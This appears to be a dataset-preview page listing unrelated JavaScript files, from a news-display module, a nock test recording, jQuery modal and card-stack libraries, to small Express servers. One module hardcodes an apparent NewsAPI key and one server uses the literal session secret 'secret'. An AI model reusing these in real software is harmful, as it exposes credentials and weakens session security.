})();
|
$(document).ready(function() {
$("#formOne").submit(function(event) {
const person1Input = $("input#person1").val();
const person2Input = $("input#person2").val();
const animalInput= $("input#animal").val();
const exclamationInput = $("input#exclamation").val();
const verbInput = $("input#verb").val();
const nounInput = $("input#noun").val();
$(".person1").append(person1Input);
$(".person2").append(person2Input);
$(".animal").append(animalInput);
$(".exclamation").append(exclamationInput);
$(".verb").append(verbInput);
$(".noun").append(nounInput);
$("#story").show();
event.preventDefault();
});
});
|
Module.register("news", {
defaults: {
articlesEndpoint: "https://newsapi.org/v1/articles?",
sourcesEndpoint: "https://newsapi.org/v1/sources",
source: "source=cnn",
sortBy: "sortBy=top",
apiKey: "apiKey=2c22fec0b0b74305a40943b3a6ff4d9c"
},
getHeader: function(){
return this.data.header //--> need to set header to News Feed
},
getStyles: function(){
return ['news.css']
},
getTranslations: function(){
return false;
},
start: function(){
Log.info("Starting module: " + this.name);
moment.locale(config.language);
this.author = null;
this.description = null;
this.url = null;
this.urlToImage = null;
this.headlines = [];
this.attributionLink = null;
this.sendSocketNotification("LISTEN_NEWS", this.defaults);
this.loaded = false;
},
getDom: function() {
var div = document.createElement("div");
div.className = "news-display";
var articleDisplay = document.createElement("span");
articleDisplay.className = "article-display";
var ol = document.createElement("ol");
ol.className = "ordered-list-headers";
for(i = 0; i < this.headlines.length; i++) {
var li = document.createElement("li");
li.className = "article-" + i;
li.innerHTML = this.headlines[i];
ol.appendChild(li);
}
articleDisplay.appendChild(ol);
var sourceLi = document.createElement("li");
sourceLi.className = "attribution-link"
sourceLi.innerHTML = this.attributionLink;
sourceLi.style.fontSize = "medium";
sourceLi.style.listStyleType = "none";
div.appendChild(articleDisplay);
div.appendChild(sourceLi);
return div;
},
notificationReceived: function(notification){
if(notification.split(" ").includes("news")){
console.log("======== news request ========");
this.sendSocketNotification("NEWS", this.defaults);
this.show();
}else{
this.hide();
}
},
socketNotificationReceived: function(notification, payload){
Log.log("socket received from Node Helper");
if(notification === "NEWS_RESULT"){
var newsJSON = payload;
for(i = 0; i < 6; i++){
this.headlines.push(newsJSON["articles"][i]["title"]);
}
this.attributionLink = "powered by News API";
this.updateDom();
this.headlines = []
}
}
});
|
if(_area_jsonp_420205){_area_jsonp_420205({"420205003":"铁山街道"})}
|
let nock = require('nock');
module.exports.hash = "05290e7cad837c62960375b296cd9334";
module.exports.testInfo = {"uniqueName":{},"newDate":{}}
nock('https://endpoint:443', {"encodedQueryParams":true})
.get('/metricsadvisor/v1.0/enrichment/anomalyDetection/configurations/5aee4c62-9733-48e9-a548-8a3b37d2e152')
.reply(200, {"anomalyDetectionConfigurationId":"5aee4c62-9733-48e9-a548-8a3b37d2e152","name":"new Name","description":"new description","metricId":"189ff959-d9f4-45c7-a1e0-f87c9c7ca80f","wholeMetricConfiguration":{"conditionOperator":"OR","hardThresholdCondition":{"upperBound":500,"anomalyDetectorDirection":"Up","suppressCondition":{"minNumber":5,"minRatio":5}},"changeThresholdCondition":{"changePercentage":44,"shiftPoint":2,"anomalyDetectorDirection":"Both","withinRange":true,"suppressCondition":{"minNumber":4,"minRatio":4}}},"dimensionGroupOverrideConfigurations":[{"group":{"dimension":{"region":"Mumbai"}},"hardThresholdCondition":{"upperBound":400,"anomalyDetectorDirection":"Up","suppressCondition":{"minNumber":2,"minRatio":2}}}],"seriesOverrideConfigurations":[{"series":{"dimension":{"region":"Kolkata","category":"Handmade"}},"changeThresholdCondition":{"changePercentage":33,"shiftPoint":1,"anomalyDetectorDirection":"Both","withinRange":true,"suppressCondition":{"minNumber":2,"minRatio":2}}}]}, [
'Content-Length',
'1016',
'Content-Type',
'application/json; charset=utf-8',
'x-request-id',
'fac139b6-bd00-4ff7-b6e2-dbde1c81a6ee',
'x-envoy-upstream-service-time',
'100',
'apim-request-id',
'fac139b6-bd00-4ff7-b6e2-dbde1c81a6ee',
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload',
'x-content-type-options',
'nosniff',
'Date',
'Mon, 08 Nov 2021 09:37:57 GMT'
]);
|
import React from 'react';
const EventTrackerContent = () => {
return <div>Content</div>;
};
export default EventTrackerContent;
|
import request from '@/utils/request'
export function add(data) {
return request({
url: 'api/storeProductConsult',
method: 'post',
data
})
}
export function del(ids) {
return request({
url: 'api/storeProductConsult/',
method: 'delete',
data: ids
})
}
export function edit(data) {
return request({
url: 'api/storeProductConsult',
method: 'put',
data
})
}
export default { add, edit, del }
|
/**
* elastiStack.js v1.0.0
* http://www.codrops.com
*
* Licensed under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*
* Copyright 2013, Codrops
* http://www.codrops.com
*/
;( function( window ) {
'use strict';
function extend( a, b ) {
for( var key in b ) {
if( b.hasOwnProperty( key ) ) {
a[key] = b[key];
}
}
return a;
}
// support
var is3d = !!getStyleProperty( 'perspective' ),
supportTransitions = Modernizr.csstransitions,
// transition end event name
transEndEventNames = {
'WebkitTransition': 'webkitTransitionEnd',
'MozTransition': 'transitionend',
'OTransition': 'oTransitionEnd',
'msTransition': 'MSTransitionEnd',
'transition': 'transitionend'
},
transEndEventName = transEndEventNames[ Modernizr.prefixed( 'transition' ) ];
function ElastiStack( el, options ) {
this.container = el;
this.options = extend( {}, this.options );
extend( this.options, options );
this._init();
}
function setTransformStyle( el, tval ) {
el.style.WebkitTransform = tval;
el.style.msTransform = tval;
el.style.transform = tval;
}
ElastiStack.prototype.options = {
// distDragBack: if the user stops dragging the image in a area that does not exceed [distDragBack]px for either x or y then the image goes back to the stack
distDragBack : 200,
// distDragMax: if the user drags the image in a area that exceeds [distDragMax]px for either x or y then the image moves away from the stack
distDragMax : 100,
// callback
onUpdateStack : function( current ) { return false; }
};
ElastiStack.prototype._init = function() {
// items
this.items = [].slice.call( this.container.children );
// total items
this.itemsCount = this.items.length;
// current item's index (the one on the top of the stack)
this.current = 0;
// set initial styles
this._setStackStyle();
// return if no items or only one
if( this.itemsCount <= 1 ) return;
// add dragging capability
this._initDragg();
// init drag events
this._initEvents();
};
ElastiStack.prototype._initEvents = function() {
var self = this;
this.draggie.on( 'dragStart', function( i, e, p ) { self._onDragStart( i, e, p ); } );
this.draggie.on( 'dragMove', function( i, e, p ) { self._onDragMove( i, e, p ); } );
this.draggie.on( 'dragEnd', function( i, e, p ) { self._onDragEnd( i, e, p ); } );
};
ElastiStack.prototype._setStackStyle = function() {
var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();
if( item1 ) {
item1.style.opacity = 1;
item1.style.zIndex = 4;
setTransformStyle( item1, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
}
if( item2 ) {
item2.style.opacity = 1;
item2.style.zIndex = 3;
setTransformStyle( item2, is3d ? 'translate3d(0,0,-60px)' : 'translate(0,0)' );
}
if( item3 ) {
item3.style.opacity = 1;
item3.style.zIndex = 2;
setTransformStyle( item3, is3d ? 'translate3d(0,0,-120px)' : 'translate(0,0)' );
}
};
ElastiStack.prototype._moveAway = function( instance ) {
// disable drag
this._disableDragg();
// add class "animate"
classie.add( instance.element, 'animate' );
// calculate how much to translate in the x and y axis
var tVal = this._getTranslateVal( instance );
// apply it
setTransformStyle( instance.element, is3d ? 'translate3d(' + tVal.x + 'px,' + tVal.y + 'px, 0px)' : 'translate(' + tVal.x + 'px,' + tVal.y + 'px)' );
// item also fades out
instance.element.style.opacity = 0;
// other items move back to stack
var item2 = this._secondItem(), item3 = this._thirdItem();
if( item2 ) {
classie.add( item2, 'move-back' );
classie.add( item2, 'animate' );
setTransformStyle( item2, is3d ? 'translate3d(0,0,-60px)' : 'translate(0,0)' );
}
if( item3 ) {
classie.add( item3, 'move-back' );
classie.add( item3, 'animate' );
setTransformStyle( item3, is3d ? 'translate3d(0,0,-120px)' : 'translate(0,0)' );
}
// after transition ends..
var self = this,
onEndTransFn = function() {
instance.element.removeEventListener( transEndEventName, onEndTransFn );
// reset first item
setTransformStyle( instance.element, is3d ? 'translate3d(0,0,-180px)' : 'translate(0,0,0)' );
instance.element.style.left = instance.element.style.top = '0px';
instance.element.style.zIndex = -1;
classie.remove( instance.element, 'animate' );
// reorder stack
self.current = self.current < self.itemsCount - 1 ? self.current + 1 : 0;
// new front items
var item1 = self._firstItem(),
item2 = self._secondItem(),
item3 = self._thirdItem();
// reset transition timing function
classie.remove( item1, 'move-back' );
if( item2 ) classie.remove( item2, 'move-back' );
if( item3 ) classie.remove( item3, 'move-back' );
setTimeout( function() {
// the upcoming one will animate..
classie.add( self._lastItem(), 'animate' );
// reset style
self._setStackStyle();
}, 25 );
// add dragging capability
self._initDragg();
// init drag events on new current item
self._initEvents();
// callback
self.options.onUpdateStack( self.current );
};
if( supportTransitions ) {
instance.element.addEventListener( transEndEventName, onEndTransFn );
}
else {
onEndTransFn.call();
}
};
ElastiStack.prototype._moveBack = function( instance ) {
var item2 = this._secondItem(), item3 = this._thirdItem();
classie.add( instance.element, 'move-back' );
classie.add( instance.element, 'animate' );
setTransformStyle( instance.element, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
instance.element.style.left = '0px';
instance.element.style.top = '0px';
if( item2 ) {
classie.add( item2, 'move-back' );
classie.add( item2, 'animate' );
setTransformStyle( item2, is3d ? 'translate3d(0,0,-60px)' : 'translate(0,0)' );
}
if( item3 ) {
classie.add( item3, 'move-back' );
classie.add( item3, 'animate' );
setTransformStyle( item3, is3d ? 'translate3d(0,0,-120px)' : 'translate(0,0)' );
}
};
ElastiStack.prototype._onDragStart = function( instance, event, pointer ) {
// remove transition classes if any
var item2 = this._secondItem(), item3 = this._thirdItem();
classie.remove( instance.element, 'move-back' );
classie.remove( instance.element, 'animate' );
if( item2 ) {
classie.remove( item2, 'move-back' );
classie.remove( item2, 'animate' );
}
if( item3 ) {
classie.remove( item3, 'move-back' );
classie.remove( item3, 'animate' );
}
};
ElastiStack.prototype._onDragMove = function( instance, event, pointer ) {
if( this._outOfBounds( instance ) ) {
this._moveAway( instance );
}
else {
// the second and third items also move
var item2 = this._secondItem(), item3 = this._thirdItem();
if( item2 ) {
setTransformStyle( item2, is3d ? 'translate3d(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px, -60px)' : 'translate(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px)' );
}
if( item3 ) {
setTransformStyle( item3, is3d ? 'translate3d(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px, -120px)' : 'translate(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px)' );
}
}
};
ElastiStack.prototype._onDragEnd = function( instance, event, pointer ) {
if( this._outOfBounds( instance ) ) return;
if( this._outOfSight(instance) ) {
this._moveAway( instance );
}
else {
this._moveBack( instance );
}
};
ElastiStack.prototype._initDragg = function() {
this.draggie = new Draggabilly( this.items[ this.current ] );
};
ElastiStack.prototype._disableDragg = function() {
this.draggie.disable();
};
// returns true if x or y is bigger than distDragMax
ElastiStack.prototype._outOfBounds = function( el ) {
return Math.abs( el.position.x ) > this.options.distDragMax || Math.abs( el.position.y ) > this.options.distDragMax;
};
// returns true if x or y is bigger than distDragBack
ElastiStack.prototype._outOfSight = function( el ) {
return Math.abs( el.position.x ) > this.options.distDragBack || Math.abs( el.position.y ) > this.options.distDragBack;
};
ElastiStack.prototype._getTranslateVal = function( el ) {
var h = Math.sqrt( Math.pow( el.position.x, 2 ) + Math.pow( el.position.y, 2 ) ),
a = Math.asin( Math.abs( el.position.y ) / h ) / ( Math.PI / 180 ),
hL = h + this.options.distDragBack,
dx = Math.cos( a * ( Math.PI / 180 ) ) * hL,
dy = Math.sin( a * ( Math.PI / 180 ) ) * hL,
tx = dx - Math.abs( el.position.x ),
ty = dy - Math.abs( el.position.y );
return {
x : el.position.x > 0 ? tx : tx * -1,
y : el.position.y > 0 ? ty : ty * -1
}
};
// returns the first item in the stack
ElastiStack.prototype._firstItem = function() {
return this.items[ this.current ];
};
// returns the second item in the stack
ElastiStack.prototype._secondItem = function() {
if( this.itemsCount >= 2 ) {
return this.current + 1 < this.itemsCount ? this.items[ this.current + 1 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 1 ) ) ];
}
};
// returns the third item in the stack
ElastiStack.prototype._thirdItem = function() {
if( this.itemsCount >= 3 ) {
return this.current + 2 < this.itemsCount ? this.items[ this.current + 2 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 2 ) ) ];
}
};
// returns the last item (of the first three) in the stack
ElastiStack.prototype._lastItem = function() {
if( this.itemsCount >= 3 ) {
return this._thirdItem();
}
else {
return this._secondItem();
}
};
// add to global namespace
window.ElastiStack = ElastiStack;
})( window );
|
/* ========================================================================
* SaRibe: eModal.js v1.2.6
* http://saribe.github.io/eModal
* ========================================================================
* Copyright Samuel Ribeiro.
* Licensed under MIT.
* ======================================================================== */
/**
* Easy Modal for bootstrap, is a simple way to create modal dialogs using javascript.
* @params allowed elements:
* buttons {array}: An array of objects to configure buttons to modal footer; only able if message == string
* css {object}: CSS object try apply into message body; only able if message == string
* loading {boolean}: Set loading progress as message.
* message {string|object}: The body message string or the HTML element. e.g.: $(selector);
* size {string}: sm || lg || xl -> define the modal size.
* subtitle {string}: The header subtitle string. This appear in a smaller text.
* title {string}: The header title string.
* useBin {boolean}: Set message as recyclable.
* </summary>
* <param name="params" >Modal options parameters of string body message.</param>
* <param name="title" >The string header title or a flag to set default parameters.</param>
* <returns type="Promise">{ then, element }.</returns>
*/
; (function (define) {
define(['jquery'], function ($, root) {
var $modal;
var bin = 'recycle-bin';
var div = '<div>';
var empty = '';
var eventClick = 'click';
var eventHide = 'hide';
var eventShown = 'shown.bs.modal';
var eventSubmit = 'submit';
var footerId = 'eFooter';
var hide = eventHide + '.bs.modal';
var input = 'input';
var keyDanger = 'danger';
var label = { OK: 'Cancel', True: 'False', Yes: 'No' };
var lastParams = {};
var modalBody = 'modal-body';
var options = {};
var recModalContent = 'modal-rec';
var size = { sm: 'sm', lg: 'lg', xl: 'xl' };
var tmpModalContent = 'modal-tmp';
var defaultSettings = {
allowContentRecycle: true,
confirmLabel: Object.keys(label)[0],
labels: label,
loadingHtml: '<h5>Loading...</h5><div class=progress><div class="progress-bar progress-bar-striped active" style="width: 100%"></div></div>',
size: empty,
title: 'Attention'
};
root.ajax = ajax;
root.alert = alert;
root.close = close;
root.confirm = confirm;
root.emptyBin = emptyBin;
root.iframe = iframe;
root.prompt = prompt;
root.setEModalOptions = setEModalOptions;
root.setModalOptions = setModalOptions;
root.size = size;
root.version = '1.2.6';
return root;
//#region /////////////////////////* Private Logic */////////////////////////
/**
* Find modal body and append message to it.
* @param {String | DOM} message
*/
function _build(message) {
$modal
.modal(options)
.find('.modal-content')
.append(message);
}
/**
* Will find what Promises approach the developer is using.
* Will use Promises A+ if Q.js is present, otherwise will use Promises A from jQuery.
* @returns {Promise}
*/
function _createDeferred() {
var defer;
// try native promise
//if (Promise) defer = Promise.defer();
var q;
try { q = require('Q'); } // Load option Q by require if exist
catch (e) { q = window.Q; }
if (q) { // try Q
defer = q.defer();
} else { // Use jQuery :(
defer = $.Deferred();
defer.promise = defer.promise();
}
defer.promise.element = $modal;
return defer;
}
/**
* Will create modal DOM footer with all buttons.
* @param {Array} buttons - all custom buttons, if none, will generate defaults
* @returns {$DOM} footer DOM element
*/
function _getFooter(buttons) {
if (buttons === false) { return empty; }
var messageFotter = $(div).addClass('modal-footer').prop('id', footerId);
if (buttons) {
for (var i = 0, k = buttons.length; i < k; i++) {
var btnOp = buttons[i];
var btn = $('<button>').addClass('btn btn-' + (btnOp.style || 'primary'));
for (var index in btnOp) {
if (btnOp.hasOwnProperty(index)) {
switch (index) {
case 'close':
//add close event
if (btnOp[index]) {
btn.attr('data-dismiss', 'modal')
.addClass('x');
}
break;
case eventClick:
//click event
var fn = btnOp.click.bind(_getModalInstance(true).find('.modal-content'));
btn.click(fn);
break;
case 'text':
btn.html(btnOp[index]);
break;
default:
//all other possible HTML attributes to button element
btn.attr(index, btnOp[index]);
}
}
}
messageFotter.append(btn);
}
} else {
//if no buttons defined by user, add a standard close button.
messageFotter.append('<button class="x btn btn-primary" data-dismiss=modal type=button>Close</button>');
}
return messageFotter;
}
/**
* Extract message from arguments.
* @param {Object | String} data - this can be the message string or the full detailed object
* @returns {$DOM}
*/
function _getMessage(data) {
var $message;
var content = data.loading ?
defaultSettings.loadingHtml :
(data.message || data);
if (content.on || content.onclick) {
$message = data.clone === true ?
$(content).clone() :
$(content);
$message.addClass(data.useBin && !data.loading ? recModalContent : tmpModalContent);
} else {
$message = $(div)
.attr('style', 'position:relative;word-wrap:break-word;')
.addClass(modalBody)
.html(content);
}
return data.css && (data.css !== $message.css && $message.css(data.css)), $message;
}
/**
* Return a new modal object if is the first request or the already created model.
* @param {boolean} skipEventChageIfExists
* @returns {jQuery Object}
*/
function _getModalInstance(skipEventChageIfExists) {
if (!$modal) {
//add recycle bin container to document
if (!$('#' + bin).length) {
$('body').append($(div).prop('id', bin).hide());
}
$modal = createModalElement();
}
if (skipEventChageIfExists && $modal) {
return $modal;
}
return $modal
.on(eventShown, function () {
$(this).find(input).first().focus();
});
function createModalElement() {
return $('<div class="modal fade" tabindex="-1"><style>.modal-xl{width:96%;}</style>'
+ '<div class=modal-dialog>'
+ '<div class=modal-content>'
+ ' <div class=modal-header><button type=button class="x close" data-dismiss=modal><span aria-hidden=true>×</span><span class=sr-only>Close</span></button><h4 class=modal-title></h4></div>'
+ '</div>'
+ '</div>'
+ '</div>')
.on('hidden.bs.modal', _recycleModal)
.on(eventClick, 'button.x', function (ev) {
var btn = $(ev.currentTarget);
if (btn.prop('type') !== eventSubmit)
return $modal.modal(eventHide);
try {
if (btn.closest('form')[0].checkValidity())
return close();
} catch (e) {
return close();
}
return $modal;
});
}
}
/**
* Move content to recycle bin if is a DOM object defined by user,
* delete it if is a simple string message.
* All modal messages can be deleted if default setting "allowContentRecycle" = false.
*/
function _recycleModal() {
if (!$modal) return;
var $content = $modal.find('.' + recModalContent).removeClass(recModalContent)
.appendTo('#' + bin);
$modal
.off(hide)
.off(eventShown)
.find('.modal-content > div:not(:first-child)')
.remove();
if (!defaultSettings.allowContentRecycle || lastParams.clone) {
$content.remove();
}
}
/**
* Handle default values and toggle between {Object | String}.
* Create or get Modal element
* @param {Object | String} data - this can be the message string or the full detailed object
* @param {String} title - the string that will be shown in modal header
* @returns {Promise} Promise with modal $DOM element
*/
function _setup(params, title) {
if (!params) throw new Error('Invalid parameters!');
_recycleModal();
lastParams = params;
// Lazy loading
var $ref = _getModalInstance();
//#region change size
$ref.find('.modal-dialog')
.removeClass('modal-sm modal-lg modal-xl')
.addClass(params.size ? 'modal-' + params.size : defaultSettings.size);
//#endregion
//#region change title
$ref.find('.modal-title')
.html((params.title || title || defaultSettings.title) + ' ')
.append($('<small>').html(params.subtitle || empty));
//#endregion
$ref.on(hide, params.onHide);
}
//#endregion
//#region /////////////////////////* Public Methods */////////////////////////
/**
* Gets data from URL to eModal body
* @param {Object | String} data - this can be the message string or the full detailed object
* @param {String} title - the string that will be shown in modal header
* @returns {Promise} Promise with modal $DOM element
*/
function ajax(data, title) {
var dfd = _createDeferred();
var params = {
async: true,
deferred: dfd,
loading: true,
title: data.title || title || defaultSettings.title,
url: data.url || data
};
if (data.url) { $.extend(params, data); }
$.ajax({ url: params.url, dataType: 'text' })
.success(ok)
.fail(error);
return alert(params, title);
function ok(html) {
$modal
.find('.' + modalBody)
.html(html);
return dfd.resolve($modal);
}
function error(responseText/*, textStatus*/) {
var msg = '<div class="alert alert-danger">' +
'<strong>XHR Fail: </strong>URL [ ' + params.url + '] load fail.' +
'</div>';
$modal
.find('.' + modalBody)
.html(msg);
return dfd.reject(responseText);
}
}
/**
* Non blocking alert whit bootstrap.
* @param {Object | String} data - this can be the message string or the full detailed object.
* @param {String} title - the string that will be shown in modal header.
* @returns {Promise} Promise with modal $DOM element
*/
function alert(data, title) {
_setup(data, title);
var dfd = data.deferred || _createDeferred();
var $message = $(div).append(_getMessage(data), _getFooter(data.buttons));
_build($message);
if (!data.async) { $modal.on(eventShown, dfd.resolve); }
return dfd.promise;
}
/**
* Non blocking confirm dialog with bootstrap.
* @param {Object | String} data - this can be the message string or the full detailed object.
* @param {String} title - the string that will be shown in modal header.
* @returns {Promise} Promise with modal $DOM element
*/
function confirm(data, title) {
var dfd = _createDeferred();
return alert({
async: true,
buttons: [
{ close: true, click: click, text: label[data.label] ? label[data.label] : label[defaultSettings.confirmLabel], style: keyDanger },
{ close: true, click: click, text: label[data.label] ? data.label : defaultSettings.confirmLabel }
],
deferred: dfd,
message: data.message || data,
onHide: click,
size: data.size,
title: data.title || title
});
function click(ev) {
close();
var key = $(ev.currentTarget).html();
return label[key] ? dfd.resolve() : dfd.reject();
}
}
/**
* Will load a URL in iFrame inside the modal body.
* @param {Object | String} data - this can be the URL string or the full detailed object.
* @param {String} title - the string that will be shown in modal header.
* @returns {Promise} Promise with modal $DOM element
*/
function iframe(params, title) {
var dfd = _createDeferred();
var html = ('<div class=modal-body style="position: absolute;width: 100%;background-color: rgba(255,255,255,0.8);height: 100%;">%1%</div>' +
'<iframe class="embed-responsive-item" frameborder=0 src="%0%" style="width:100%;height:75vh;display:block;"/>')
.replace('%0%', params.message || params.url || params)
.replace('%1%', defaultSettings.loadingHtml);
var message = $(html)
.load(iframeReady);
return alert({
async: true,
buttons: params.buttons || false,
deferred: dfd,
message: message,
size: params.size || size.xl,
title: params.title || title
});
//////////
function iframeReady() {
$(this)
.parent()
.find('div.' + tmpModalContent)
.fadeOut(function () {
$(this).remove();
});
return dfd.resolve();
}
}
/**
* Remove all Dom elements in recycle bin.
* @returns {Array} All removed elements
*/
function emptyBin() {
return $('#' + bin + ' > *').remove();
}
/**
* Provides one value form.
* @param {Object | String} data - this can be the value string label or the full detailed object.
* @param {String} title - the string that will be shown in modal header.
* @returns {Promise} Promise with modal $DOM element
*/
function prompt(data, title) {
var dfd = _createDeferred();
var params = {
deferred: dfd
};
if (typeof data === 'object') {
$.extend(params, data);
}
else {
params.message = data;
params.title = title;
}
params.async = true;
if (params.buttons) {
var btn;
for (var i = 0, k = params.buttons.length; i < k; i++) {
btn = params.buttons[i];
btn.style = (btn.style || 'default') + ' pull-left';
btn.type = btn.type || 'button';
}
}
var buttons = _getFooter([
{ close: true, type: 'reset', text: label.OK, style: keyDanger },
{ close: false, type: eventSubmit, text: defaultSettings.confirmLabel }
].concat(params.buttons || []));
params.buttons = false;
params.onHide = submit;
params.message = $('<form role=form style="margin-bottom:0;">' +
'<div class=modal-body>' +
'<label for=prompt-input class=control-label>' + (params.message || empty) + '</label>' +
'<input type=text class=form-control required autocomplete="on" value="' + (params.value || empty) + (params.pattern ? '" pattern="' + params.pattern : empty) + '">' +
'</div></form>')
.append(buttons)
.on(eventSubmit, submit);
return alert(params);
function submit(ev) {
var value = $modal.find(input).val();
close();
//TODO:
ev.type !== eventSubmit ?
dfd.reject(value) :
dfd.resolve(value);
return false;
}
}
/**
* Set or change eModal options.
* @param {Object} overrideOptions
* @returns {Object} merged eModal options
*/
function setEModalOptions(overrideOptions) {
return $.extend(defaultSettings, overrideOptions);
}
/**
* Set or change bootstrap modal options.
* @param {Object} overrideOptions
* @returns {Object} merged eModal options
*/
function setModalOptions(overrideOptions) {
$modal && $modal.remove();
return $.extend(options, overrideOptions);
}
/**
* Close the current open eModal
* @returns {$DOM} eModal DOM element
*/
function close() {
if ($modal) {
$modal.off(hide).modal(eventHide);
}
return $modal;
}
//#endregion
});
}(typeof define == 'function' && define.amd ?
define :
function (args, mName) {
this.eModal = typeof module != 'undefined' && module.exports ?
mName(require(args[0]), module.exports) :
mName(window.$, {});
}));
|
const express = require('express');
const cors = require('cors');
const server = express();
const http = require('http').createServer(server);
const io = require('socket.io')(http);
const {logger} = require('./data/middleware');
server.use(cors());
server.use(express.json());
server.use('/api', require('./api'));
server.use('/', logger);
server.get('/', (req, res) => {
res.json({success: 'You might just be sane!'});
});
server.get('/chat', function(req, res) {
res.sendFile(__dirname + '/index.html');
});
io.on('connection', socket => {
console.log('A user connected.');
socket.on('sendMessage', msg => {
io.emit('sendMessage', msg);
});
socket.on('disconnect', () => {
console.log('A user disconnected.');
});
});
const PORT = process.env.PORT || 8000;
http.listen(PORT, () => console.log(`Server listening on port ${PORT}.`));
module.exports = server;
|
const puppeteer = require('puppeteer')
exports.config = {
specs: [
'../passing-test.js',
'../failing-test.js'
],
directConnect: true,
capabilities: {
browserName: 'chrome',
chromeOptions: {
args: ['--headless', '--no-sandbox', '--disable-dev-shm-usage'],
binary: puppeteer.executablePath()
}
},
baseUrl: 'http://localhost:3000/',
framework: 'jasmine',
allScriptsTimeout: 10000,
getPageTimeout: 3000,
jasmineNodeOpts: {
defaultTimeoutInterval: 5000
},
onPrepare: function () {
// let protractor know it doesn't need to look for angular on the page
browser.ignoreSynchronization = true
}
}
|
const path = require('path');
const express = require('express');
const session = require('express-session');
const exphbs = require('express-handlebars');
const routes = require('./controllers');
// helpers not used (in utils folders) on app currently
// const helpers = require('./utils/helpers');
const sequelize = require('./config/connection');
const SequelizeStore = require('connect-session-sequelize')(session.Store);
const app = express();
const PORT = process.env.PORT || 3001;
// set up handlebars with custom helpers
const hbs = exphbs.create();
const sess = {
secret: 'secret',
cookie: {},
resave: false,
saveUninitialized: true,
store: new SequelizeStore({
db: sequelize
})
};
app.use(session(sess));
// notify express.js for which template engine to use
app.engine('handlebars', hbs.engine);
app.set('view engine', 'handlebars');
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(routes);
// dev'd on 3001
sequelize.sync({ force: false }).then(() => {
app.listen(PORT, () => console.log('App now listening on 3001'));
});
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.